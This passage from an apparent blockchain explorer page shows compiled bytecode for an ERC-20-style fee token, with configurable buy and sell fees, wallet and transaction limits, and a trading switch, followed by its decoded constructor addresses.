c707a9fc58b1af86e252cad0d7f4c154ebeabb162dace600f54604051610e5e9190613710565b60405180910390a150565b610e71612b1f565b8160188190555080601981905550601954601854610e8f9190613d65565b60178190555060646017541115610edb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ed290613f3f565b60405180910390fd5b7f38513c502b0ab4834ac1df9502b76f75dcf7092469782cfd0db7fe664388e25e601754601854601954604051610f1493929190613f5f565b60405180910390a15050565b610f28612b1f565b6002811015610f6c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f6390613fe2565b60405180910390fd5b6103e8610f77610a4e565b82610f829190613e2b565b610f8c9190613e9c565b6010819055507fff3dd5e80294197918c284bbfc3dadd97d0b40ce92106110946329088f80068a601054604051610fc39190613710565b60405180910390a150565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b61101e612b1f565b6110286000612b9d565b565b611032612b1f565b610258831015611077576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161106e90614074565b60405180910390fd5b6103e8821115801561108a575060008210155b6110c9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110c090614106565b60405180910390fd5b82600d8190555081600c8190555080601260026101000a81548160ff021916908315150217905550505050565b6000806000600960159054906101000a900460ff169250600a549150600b549050909192565b6000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606005805461115590613bfc565b80601f016020809104026020016040519081016040528092919081815260200182805461118190613bfc565b80156111ce5780601f106111a3576101008083540402835291602001916111ce565b820191906000526020600020905b8154815290600101906020018083116111b157829003601f168201915b5050505050905090565b6111e0612b1f565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167fb91dbdeaf34f885ccae2d8abc3967cb03c079b6af2c7944e3893fd29427d75e760405160405180910390a380601360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6112a8612b1f565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611338576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161132f90614198565b60405180910390fd5b6113428282612c63565b5050565b61134e612b1f565b80601c60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff167f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df7826040516113eb91906136e6565b60405180910390a25050565b6113ff612b1f565b816015819055508060168190555060165460155461141d9190613d65565b60148190555060646014541115611469576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114609061422a565b60405180910390fd5b7fcb5f36df892836a2eaedc349de29a7581176990398ee185d16eaa8f6c1abd8f16014546015546016546040516114a293929190613f5f565b60405180910390a15050565b600080600260006114bd611ce1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508281101561157a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611571906142bc565b60405180910390fd5b61158e611585611ce1565b85858403611ce9565b600191505092915050565b600e5481565b60006115b36115ac611ce1565b8484611eb2565b6001905092915050565b6115c5612b1f565b601260049054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8616c7a330e3cf61290821331585511f1e2778171e2b005fb5ec60cfe874dc6760405160405180910390a380601260046101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b61168d612b1f565b80600960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6116d9612b1f565b600182101561171d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117149061434e565b60405180910390fd5b81811015611760576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611757906143e0565b60405180910390fd5b82600960156101000a81548160ff02191690831515021790555061271082611786610a4e565b6117909190613e2b565b61179a9190613e9c565b600a81905550612710816117ac610a4e565b6117b69190613e2b565b6117c09190613e9c565b600b819055507f52cd2cdb42ff0eeec9362d7ed5b04f64c8d022697128b5378fc51cea7e63c7798383836040516117f9939291906139d8565b60405180910390a1505050565b61180e612b1f565b6000601260006101000a81548160ff021916908315150217905550427ff4eaa75eae08ae80c3daf791438dac1cff2cfd3b0bad2304ec7bbb067e50261660405160405180910390a2565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b806118e933610fce565b101561192a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119219061444c565b60405180910390fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33836040518363ffffffff1660e01b815260040161198792919061446c565b600060405180830381600087803b1580156119a157600080fd5b505af11580156119b5573d6000803e3d6000fd5b5050505050565b6000806000601c60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169250601d60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169150601e60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1690509193909250565b611abd612b1f565b6000601260016101000a81548160ff021916908315150217905550427f26e776fcf7ca20aa79b5b946e9b5111f47205539ece9d7a7995271dd6a8b5bad60405160405180910390a2565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b611b35612b1f565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603611ba4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b9b90614507565b60405180910390fd5b611bad81612b9d565b50565b600080600080600080601754955060185494506019549350601454925060155491506016549050909192939495565b600080601260049054906101000a900473ffffffffffffffffffffffffffffffffffffffff16601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16915091509091565b611c38612b1f565b80601d60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff167f4b89c347592b1d537e066cb4ed98d87696ae35164745d7e370e4add16941dc9282604051611cd591906136e6565b60405180910390a25050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611d58576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d4f90614599565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611dc7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dbe9061462b565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611ea59190613710565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611f21576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f18906146bd565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611f90576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f879061474f565b60405180910390fd5b60008103611fa957611fa483836000612d04565b612b1a565b601260009054906101000a900460ff161561266e57611fc661111c565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015612034575061200461111c565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b801561206d5750600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156120a7575061dead73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156120c05750600960149054906101000a900460ff16155b1561266d57601260039054906101000a900460ff166121ba57601c60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168061217a5750601c60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b6121b9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121b0906147e1565b60405180910390fd5b5b601260019054906101000a900460ff1615612384576121d761111c565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415801561225e57507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156122b85750600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156123835743601160003273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541061233e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161233590614899565b60405180910390fd5b43601160003273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5b601e60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156124275750601d60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156124ce57601054811115612471576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124689061492b565b60405180910390fd5b600f5461247d83610fce565b826124889190613d65565b11156124c9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124c090614997565b60405180910390fd5b61266c565b601e60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156125715750601d60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156125c0576010548111156125bb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125b290614a29565b60405180910390fd5b61266b565b601d60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1661266a57600f5461261d83610fce565b826126289190613d65565b1115612669576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161266090614997565b60405180910390fd5b5b5b5b5b5b600061267930610fce565b90506000600a54821015905080801561269e5750600960159054906101000a900460ff165b80156126b75750600960149054906101000a900460ff16155b801561270d5750601e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156127635750601c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156127b95750601c60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156127fd576001600960146101000a81548160ff0219169083151502179055506127e1612f83565b6000600960146101000a81548160ff0219169083151502179055505b6000600960149054906101000a900460ff16159050601c60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806128b35750601c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156128bd57600090505b60008115612ad057601e60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16801561292057506000601454115b156129ba5761294d606461293f6014548861314190919063ffffffff16565b61315790919063ffffffff16565b9050601454601654826129609190613e2b565b61296a9190613e9c565b601b600082825461297b9190613d65565b92505081905550601454601554826129939190613e2b565b61299d9190613e9c565b601a60008282546129ae9190613d65565b92505081905550612aac565b601e60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015612a1557506000601754115b15612aab57612a426064612a346017548861314190919063ffffffff16565b61315790919063ffffffff16565b905060175460195482612a559190613e2b565b612a5f9190613e9c565b601b6000828254612a709190613d65565b9250508190555060175460185482612a889190613e2b565b612a929190613e9c565b601a6000828254612aa39190613d65565b925050819055505b5b6000811115612ac157612ac0873083612d04565b5b8085612acd9190614a49565b94505b600960149054906101000a900460ff16158015612af95750601260029054906101000a900460ff165b15612b0a57612b0930888761316d565b5b612b15878787612d04565b505050505b505050565b612b27611ce1565b73ffffffffffffffffffffffffffffffffffffffff16612b45613222565b73ffffffffffffffffffffffffffffffffffffffff1614612b9b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612b9290614ac9565b60405180910390fd5b565b6000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b80601e60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508015158273ffffffffffffffffffffffffffffffffffffffff167fffa9187bf1f18bf477bd0ea1bcbb64e93b6a98132473929edfce215cd9b16fab60405160405180910390a35050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603612d73576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612d6a906146bd565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603612de2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612dd99061474f565b60405180910390fd5b612ded838383613236565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015612e73576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612e6a90614b5b565b60405180910390fd5b8181036000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254612f069190613d65565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051612f6a9190613710565b60405180910390a3612f7d84848461323b565b50505050565b6000612f8e30610fce565b905060008190506000808303612fa65750505061313f565b600b54831115612fb657600b5492505b60008390506000479050612fc982613240565b6000612fde824761347d90919063ffffffff16565b9050600061300986612ffb601b548561314190919063ffffffff16565b61315790919063ffffffff16565b90506000601a819055506000601b81905550601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168160405161306190614bac565b60006040518083038185875af1925050503d806000811461309e576040519150601f19603f3d011682016040523d82523d6000602084013e6130a3565b606091505b505080955050601260049054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16476040516130ef90614bac565b60006040518083038185875af1925050503d806000811461312c576040519150601f19603f3d011682016040523d82523d6000602084013e613131565b606091505b505080955050505050505050505b565b6000818361314f9190613e2b565b905092915050565b600081836131659190613e9c565b905092915050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166323b872dd83856103e8856131bb9190613e9c565b6040518463ffffffff1660e01b81526004016131d993929190614bc1565b6020604051808303816000875af11580156131f8573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061321c9190614c0d565b50505050565b60008061322d613493565b90508091505090565b505050565b505050565b6000600267ffffffffffffffff81111561325d5761325c614c3a565b5b60405190808252806020026020018201604052801561328b5781602001602082028036833780820191505090505b50905030816000815181106132a3576132a2613cbf565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015613348573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061336c9190614c7e565b816001815181106133805761337f613cbf565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506133e5307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d84611ce9565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401613447959493929190614dae565b600060405180830381600087803b15801561346157600080fd5b505af1158015613475573d6000803e3d6000fd5b505050505050565b6000818361348b9190614a49565b905092915050565b60008073ffffffffffffffffffffffffffffffffffffffff16600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461351257600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16613536565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff165b905090565b600081519050919050565b600082825260208201905092915050565b60005b8381101561357557808201518184015260208101905061355a565b60008484015250505050565b6000601f19601f8301169050919050565b600061359d8261353b565b6135a78185613546565b93506135b7818560208601613557565b6135c081613581565b840191505092915050565b600060208201905081810360008301526135e58184613592565b905092915050565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000613622826135f7565b9050919050565b61363281613617565b811461363d57600080fd5b50565b60008135905061364f81613629565b92915050565b6000819050919050565b61366881613655565b811461367357600080fd5b50565b6000813590506136858161365f565b92915050565b600080604083850312156136a2576136a16135ed565b5b60006136b085828601613640565b92505060206136c185828601613676565b9150509250929050565b60008115159050919050565b6136e0816136cb565b82525050565b60006020820190506136fb60008301846136d7565b92915050565b61370a81613655565b82525050565b60006020820190506137256000830184613701565b92915050565b600080600060608486031215613744576137436135ed565b5b600061375286828701613640565b935050602061376386828701613640565b925050604061377486828701613676565b9150509250925092565b600080fd5b600080fd5b600080fd5b60008083601f8401126137a3576137a261377e565b5b8235905067ffffffffffffffff8111156137c0576137bf613783565b5b6020830191508360208202830111156137dc576137db613788565b5b9250929050565b6000806000604084860312156137fc576137fb6135ed565b5b600084013567ffffffffffffffff81111561381a576138196135f2565b5b6138268682870161378d565b9350935050602061383986828701613676565b9150509250925092565b600060ff82169050919050565b61385981613843565b82525050565b60006020820190506138746000830184613850565b92915050565b600060808201905061388f60008301876136d7565b61389c60208301866136d7565b6138a96040830185613701565b6138b66060830184613701565b95945050505050565b6000602082840312156138d5576138d46135ed565b5b60006138e384828501613676565b91505092915050565b60008060408385031215613903576139026135ed565b5b600061391185828601613676565b925050602061392285828601613676565b9150509250929050565b600060208284031215613942576139416135ed565b5b600061395084828501613640565b91505092915050565b613962816136cb565b811461396d57600080fd5b50565b60008135905061397f81613959565b92915050565b60008060006060848603121561399e5761399d6135ed565b5b60006139ac86828701613676565b93505060206139bd86828701613676565b92505060406139ce86828701613970565b9150509250925092565b60006060820190506139ed60008301866136d7565b6139fa6020830185613701565b613a076040830184613701565b949350505050565b613a1881613617565b82525050565b6000602082019050613a336000830184613a0f565b92915050565b60008060408385031215613a5057613a4f6135ed565b5b6000613a5e85828601613640565b9250506020613a6f85828601613970565b9150509250929050565b600080600060608486031215613a9257613a916135ed565b5b6000613aa086828701613970565b9350506020613ab186828701613676565b9250506040613ac286828701613676565b9150509250925092565b60008060408385031215613ae357613ae26135ed565b5b6000613af185828601613640565b9250506020613b0285828601613640565b9150509250929050565b6000606082019050613b2160008301866136d7565b613b2e60208301856136d7565b613b3b60408301846136d7565b949350505050565b600060c082019050613b586000830189613701565b613b656020830188613701565b613b726040830187613701565b613b7f6060830186613701565b613b8c6080830185613701565b613b9960a0830184613701565b979650505050505050565b6000604082019050613bb96000830185613a0f565b613bc66020830184613a0f565b9392505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680613c1457607f821691505b602082108103613c2757613c26613bcd565b5b50919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b6000613c89602883613546565b9150613c9482613c2d565b604082019050919050565b60006020820190508181036000830152613cb881613c7c565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000613d2882613655565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203613d5a57613d59613cee565b5b600182019050919050565b6000613d7082613655565b9150613d7b83613655565b9250828201905080821115613d9357613d92613cee565b5b92915050565b7f43616e6e6f7420736574206d617857616c6c6574206c6f776572207468616e2060008201527f302e352500000000000000000000000000000000000000000000000000000000602082015250565b6000613df5602483613546565b9150613e0082613d99565b604082019050919050565b60006020820190508181036000830152613e2481613de8565b9050919050565b6000613e3682613655565b9150613e4183613655565b9250828202613e4f81613655565b91508282048414831517613e6657613e65613cee565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000613ea782613655565b9150613eb283613655565b925082613ec257613ec1613e6d565b5b828204905092915050565b7f546f74616c20627579206665652063616e6e6f7420626520686967686572207460008201527f68616e2031303025000000000000000000000000000000000000000000000000602082015250565b6000613f29602883613546565b9150613f3482613ecd565b604082019050919050565b60006020820190508181036000830152613f5881613f1c565b9050919050565b6000606082019050613f746000830186613701565b613f816020830185613701565b613f8e6040830184613701565b949350505050565b7f43616e6e6f7420736574206d61785478206c6f776572207468616e20302e3225600082015250565b6000613fcc602083613546565b9150613fd782613f96565b602082019050919050565b60006020820190508181036000830152613ffb81613fbf565b9050919050565b7f63616e6e6f7420736574206275796261636b206d6f7265206f6674656e20746860008201527f616e206576657279203130206d696e7574657300000000000000000000000000602082015250565b600061405e603383613546565b915061406982614002565b604082019050919050565b6000602082019050818103600083015261408d81614051565b9050919050565b7f4d75737420736574206175746f204c50206275726e2070657263656e7420626560008201527f747765656e20302520616e642031302500000000000000000000000000000000602082015250565b60006140f0603083613546565b91506140fb82614094565b604082019050919050565b6000602082019050818103600083015261411f816140e3565b9050919050565b7f54686520706169722063616e6e6f742062652072656d6f7665642066726f6d2060008201527f6175746f6d617465644d61726b65744d616b6572506169727300000000000000602082015250565b6000614182603983613546565b915061418d82614126565b604082019050919050565b600060208201905081810360008301526141b181614175565b9050919050565b7f546f74616c2073656c6c206665652063616e6e6f74206265206869676865722060008201527f7468616e20313030250000000000000000000000000000000000000000000000602082015250565b6000614214602983613546565b915061421f826141b8565b604082019050919050565b6000602082019050818103600083015261424381614207565b9050919050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b60006142a6602583613546565b91506142b18261424a565b604082019050919050565b600060208201905081810360008301526142d581614299565b9050919050565b7f5377617020616d6f756e742063616e6e6f74206265206c6f776572207468616e60008201527f20302e30312520746f74616c20737570706c792e000000000000000000000000602082015250565b6000614338603483613546565b9150614343826142dc565b604082019050919050565b600060208201905081810360008301526143678161432b565b9050919050565b7f6d6178696d756d20616d6f756e742063616e742062652068696768657220746860008201527f616e206d696e696d756d00000000000000000000000000000000000000000000602082015250565b60006143ca602a83613546565b91506143d58261436e565b604082019050919050565b600060208201905081810360008301526143f9816143bd565b9050919050565b7f4e6f7420656e6f75676820436f696e20746f20756e777261702e000000000000600082015250565b6000614436601a83613546565b915061444182614400565b602082019050919050565b6000602082019050818103600083015261446581614429565b9050919050565b60006040820190506144816000830185613a0f565b61448e6020830184613701565b9392505050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b60006144f1602683613546565b91506144fc82614495565b604082019050919050565b60006020820190508181036000830152614520816144e4565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000614583602483613546565b915061458e82614527565b604082019050919050565b600060208201905081810360008301526145b281614576565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000614615602283613546565b9150614620826145b9565b604082019050919050565b6000602082019050818103600083015261464481614608565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b60006146a7602583613546565b91506146b28261464b565b604082019050919050565b600060208201905081810360008301526146d68161469a565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000614739602383613546565b9150614744826146dd565b604082019050919050565b600060208201905081810360008301526147688161472c565b9050919050565b7f5f7472616e736665723a3a2054726164696e67206973206e6f7420616374697660008201527f652e000000000000000000000000000000000000000000000000000000000000602082015250565b60006147cb602283613546565b91506147d68261476f565b604082019050919050565b600060208201905081810360008301526147fa816147be565b9050919050565b7f5f7472616e736665723a3a205472616e736665722044656c617920656e61626c60008201527f65642e20204f6e6c79206f6e652070757263686173652070657220626c6f636b60208201527f20616c6c6f7765642e0000000000000000000000000000000000000000000000604082015250565b6000614883604983613546565b915061488e82614801565b606082019050919050565b600060208201905081810360008301526148b281614876565b9050919050565b7f427579207472616e7366657220616d6f756e742065786365656473207468652060008201527f6d617854782e0000000000000000000000000000000000000000000000000000602082015250565b6000614915602683613546565b9150614920826148b9565b604082019050919050565b6000602082019050818103600083015261494481614908565b9050919050565b7f4d61782077616c6c657420657863656564656400000000000000000000000000600082015250565b6000614981601383613546565b915061498c8261494b565b602082019050919050565b600060208201905081810360008301526149b081614974565b9050919050565b7f53656c6c207472616e7366657220616d6f756e7420657863656564732074686560008201527f206d617854782e00000000000000000000000000000000000000000000000000602082015250565b6000614a13602783613546565b9150614a1e826149b7565b604082019050919050565b60006020820190508181036000830152614a4281614a06565b9050919050565b6000614a5482613655565b9150614a5f83613655565b9250828203905081811115614a7757614a76613cee565b5b92915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000614ab3602083613546565b9150614abe82614a7d565b602082019050919050565b60006020820190508181036000830152614ae281614aa6565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b6000614b45602683613546565b9150614b5082614ae9565b604082019050919050565b60006020820190508181036000830152614b7481614b38565b9050919050565b600081905092915050565b50565b6000614b96600083614b7b565b9150614ba182614b86565b600082019050919050565b6000614bb782614b89565b9150819050919050565b6000606082019050614bd66000830186613a0f565b614be36020830185613a0f565b614bf06040830184613701565b949350505050565b600081519050614c0781613959565b92915050565b600060208284031215614c2357614c226135ed565b5b6000614c3184828501614bf8565b91505092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600081519050614c7881613629565b92915050565b600060208284031215614c9457614c936135ed565b5b6000614ca284828501614c69565b91505092915050565b6000819050919050565b6000819050919050565b6000614cda614cd5614cd084614cab565b614cb5565b613655565b9050919050565b614cea81614cbf565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b614d2581613617565b82525050565b6000614d378383614d1c565b60208301905092915050565b6000602082019050919050565b6000614d5b82614cf0565b614d658185614cfb565b9350614d7083614d0c565b8060005b83811015614da1578151614d888882614d2b565b9750614d9383614d43565b925050600181019050614d74565b5085935050505092915050565b600060a082019050614dc36000830188613701565b614dd06020830187614ce1565b8181036040830152614de28186614d50565b9050614df16060830185613a0f565b614dfe6080830184613701565b969550505050505056fea2646970667358221220ec7a2766e7e96d9d90bfbcbe16836a9aa5b997ec5bcad3fcf0c5912f90fcd64d64736f6c63430008130033
Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)
000000000000000000000000398de627b9dd3e7a9a89db82c65c38efd195d03c0000000000000000000000007f7b7d4fa37f58837837b7180b47a955c622859f
-----Decoded View---------------
Arg [0] : dev (address): 0x398dE627b9dD3E7A9A89db82c65c38efD195d03C
Arg [1] : coin (address): 0x7F7B7d4Fa37F58837837b7180B47a955C622859F
-----Encoded View---------------
2 Constructor Arguments found :
Arg [0] : 000000000000000000000000398de627b9dd3e7a9a89db82c65c38efd195d03c
Arg [1] : 0000000000000000000000007f7b7d4fa37f58837837b7180b47a955c622859f
Deployed Bytecode Sourcemap
